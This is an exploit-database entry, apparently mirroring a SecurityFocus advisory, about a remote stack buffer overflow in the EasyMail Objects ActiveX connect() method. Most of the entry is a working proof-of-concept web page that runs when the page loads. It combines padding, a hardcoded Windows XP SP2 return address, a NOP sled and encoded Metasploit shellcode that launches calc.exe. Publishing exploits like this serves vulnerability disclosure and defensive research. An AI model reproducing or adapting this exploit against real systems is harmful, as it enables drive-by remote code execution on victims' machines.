EasyMail Objects 6.x Connect Method Remote Stack Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

EasyMail Objects 6.x Connect Method Remote Stack Buffer Overflow Vulnerabilit


                                                source: http://www.securityfocus.com/bid/22583/info

EasyMail Objects is prone to a remote stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data prior to copying it to an insufficiently sized buffer.

An attacker can leverage this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Versions prior to EasyMail Objects 6.5 are vulnerable.
Spam Inspector 4.0.354 is vulnerable. 

&#60;html&#62; &#60;head&#62; &#60;title&#62;Quiksoft EasyMail 6.0.3.0 imap connect() stack overflow&#60;/title&#62; &#60;script language=&#34;JavaScript&#34; defer&#62; function Check() { var buf = &#39;A&#39;; while (buf.length &#60;= 440) buf = buf + &#39;A&#39;; // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape(&#34;%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49&#34; + &#34;%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43&#34; + &#34;%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32&#34; + &#34;%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d&#34; + &#34;%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e&#34; + &#34;%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77&#34; + &#34;%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36&#34; + &#34;%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e&#34; + &#34;%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78&#34; + &#34;%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59&#34; + &#34;%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46&#34; + &#34;%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75&#34; + &#34;%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a&#34; + &#34;%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b&#34; + &#34;%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35&#34; + &#34;%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b&#34; + &#34;%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71&#34; + &#34;%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f&#34; + &#34;%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33&#34; + &#34;%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63&#34; + &#34;%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73&#34; + &#34;%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70&#34; + &#34;%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66&#34; + &#34;%4e%31%75%74%38%70%65%77%70%43&#34;); var eip = unescape(&#34;%0F%DD%17%7D&#34;); // Windows XP SP2 English var nop = unescape(&#34;%90%90%90%90%90%90%90%90%90%90%90%90&#34;); var m = buf + eip + nop + shellcode1 + nop; obj.connect(m); } &#60;/script&#62; &#60;/head&#62; &#60;body onload=&#34;JavaScript: return Check();&#34;&#62; &#60;object id=&#34;obj&#34; classid=&#34;clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D&#34;&#62; Failed to instantiate object. &#60;/object&#62; &#60;/body&#62; &#60;/html&#62;

01 Jul 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7